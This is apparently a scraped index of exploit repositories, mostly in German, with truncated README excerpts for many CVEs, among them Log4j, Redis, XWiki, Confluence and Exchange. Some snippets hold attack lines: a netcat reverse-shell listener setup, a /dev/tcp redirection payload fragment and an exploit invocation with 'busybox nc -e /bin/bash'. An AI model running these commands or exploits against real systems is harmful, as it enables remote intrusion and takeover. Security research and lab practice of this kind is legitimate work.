Writing-Sample-1

Log4j: CVE-2021-44228 Zusammenfassung der Log4j-Sicherheitslücke und Gegenmaßnahmen Inhaltsverzeichnis 1. Zusammenfassung 2. Identifikation verwundbarer Endpunkte und Dienste 3. Gegenmaßnahmen A. Block an der Grenze B. Installation von Endpoint Detection & Response EDR auf Server-Endpunkten C...

cve-2017-7269

Pufferüberlauf in der ScStoragePathFromUrl-Funktion im WebDAV-Dienst von Internetinformationsdiensten IIS 6.0 in Microsoft Windows Server 2003 R2 ermöglicht es Angreifern aus der Ferne, beliebigen Code auszuführen, indem sie einen langen Header, der mit "If: http://" beginnt, in einer...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Anleitung 1. Erstelle eine PHP Reverse Shell 2. Starte einen Server, um die Shell im selben Verzeichnis zu hosten python3 -m http.server 3. Starte einen Netcat-Listener auf einem lokalen Port deiner Wahl, z. B.: nc -nlvp Port Ihrer Wahl 4. Führe das unten...

cve-2022-27438

CVE-2022-27438 Caphyon Ltd Advanced Installer 19.3 "CustomDetection" Vulnerabilidade de Execução Remota de Código na Verificação de Atualização. Uso: python3 cve-2022-27438poc.py Detalhes no relatório em gerr.re. Passos para reproduzir Para outros produtos afetados, você precisa alterar o servido...

CVE-2020-9484

CVE-2020-9484 Tomcat Nur für Bildungszwecke. Siehe Referenz für Details. Ausführen $ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ CONTAINER=docker run -d -p 8080:8080 tomcat:groovy Prüfen sauber $ docker exec -it $CONTAINER ls -...

CVE-2025-45467

CVE-2025-45467: Unsichere Firmware-Verifikation im Unitree Go1 Zusammenfassung Eine kritische Sicherheitslücke CVE-2025-45467 wurde im Roboterhund Unitree Go1 alle Firmware-Versionen ≤ Go120220511 entdeckt, bei der der Firmware-Update-Mechanismus ausschließlich auf unsicheren MD5-Hash-Prüfungen z...

CVE-2022-0543-Home-Lab

CVE-2022-0543 — Redis Lua Sandbox Escape Remote Code Execution Was ist CVE‑2022‑0543 — Redis Lua Sandbox Escape? Diese Schwachstelle betrifft ausschließlich Redis, das über das Debian-/Ubuntu-Paket installiert wurde da Redis mit einer dynamischen Lua-Engine lua-cjson, lua-bitop kompiliert wurde,...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Einleitung ISPConfig Versionen = 3.2.11 sind anfällig für eine authentifizierte PHP-Code-Injection-Schwachstelle über den Parameter records im Endpunkt /admin/languageedit.php. Ein böswilliger authentifizierter Admin-Benutzer kann die...

CVE-2025-24893

Reverse Shell für CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" Shell upgraden 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2021-27928-POC

CVE-2021-27928 POC Beschreibung Ein Problem mit der Ausführung von Remote-Code wurde in MariaDB 10.2 vor 10.2.37, 10.3 vor 10.3.28, 10.4 vor 10.4.18 und 10.5 vor 10.5.9; Percona Server bis 2021-03-03; und dem wsrep-Patch bis 2021-03-03 für MySQL entdeckt. Ein nicht vertrauenswürdiger Suchpfad füh...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

-CVE-2020-0796-SMBGhost-Windows-10-SMBv3-Remote-Code-Execution-Vulnerability

CVE-2020-0796 POC de overflow remoto POC para verificar CVE-2020-0796 / "SMBGhost" Uso Certifique-se de que o Python está instalado e então execute cve-2020-0796.py...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell und Auto-Export von PCAP -- NUR FÜR LEHRZWECKE -- Der Autor ist nicht verantwortlich oder haftbar für Handlungen, die mit irgendeinem Aspekt dieses Projekts/Repositorys durchgeführt werden. Ich habe dies erstellt, um den Angriff zu verstehen sowie Erkennungen in...

cve-2020-0688-webshell-upload-technique

Exchange Remote Code Execution cve-2020-0688 - RED TEAM MODE ON Erfordert: python3+ UNIVERSAL Python-Implementierung für cve-2020-0688, die ASPX-Webshell für benutzerdefinierte Befehlsausgabe verwendet Dies ist lediglich ein POC, um Sicherheitsdemonstrationen von Schwachstellen zu erleichtern. Ic...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 Dieses Repository ist Teil des hgrab-framework dork title: "Public Repositories - Bitbucket" Betroffenes Produkt Bitbucket Server and Data Center 7.6 vor 7.6.17 Bitbucket Server and Data Center 7.17 vor 7.17.10 Bitbucket Server and Data Center 7.21 vor 7.21.4...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint Zero-Day-Analyse ToolShell - SOC342-CVE-2025-53770 📘 Einführung Ich habe eine SharePoint-Zero-Day-Schwachstelle namens ToolShell CVE-2025-53770 im LetsDefend Cyber-Labor untersucht. Die Übung simulierte einen realen Zero-Day-RCE-Angriff , bei dem eine bösartige POST-Anfrag...

CVE-2025-24893

PoC für CVE-2025-24893 — XWiki Remote Code Execution Sicheres PoC PoC für CVE-2025-24893: XWiki Remote Code Execution Exploit für Versionen vor 15.10.11 , 16.4.1 und 16.5.0RC1. ⚠️ WICHTIG — NUR AUTORISIERTES TESTEN Dieses Repository enthält ein Proof-of-Concept PoC Projekt, das für Bildungszwecke...

struts_rest_rce_fuzz-CVE-2017-9805-

Dieses Repository hat keine README-Datei...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 Beschreibung Confluence, unauthorisierte Remote-Code-Ausführung-Schwachstelle : CVE-2022-26134 Confluence ist ein webbasiertes Corporate Wiki, das von der australischen Softwarefirma Atlassian entwickelt wurde. Am 2. Juni 2022 veröffentlichte Atlassian ein...

CVE-2025-55182-Toolbox

React2Shell: Umfassendes Exploit-Tool für CVE-2025-55182 Autor: lamaper / BITs2Sys Version: 1.0.1 Lizenz: MIT 📝 Werkzeugbeschreibung Dieses Tool ist ein automatisiertes Penetrationstest-Tool, das speziell für CVE-2025-55182 RCE durch Prototype-Pollution in React Server Components / Next.js...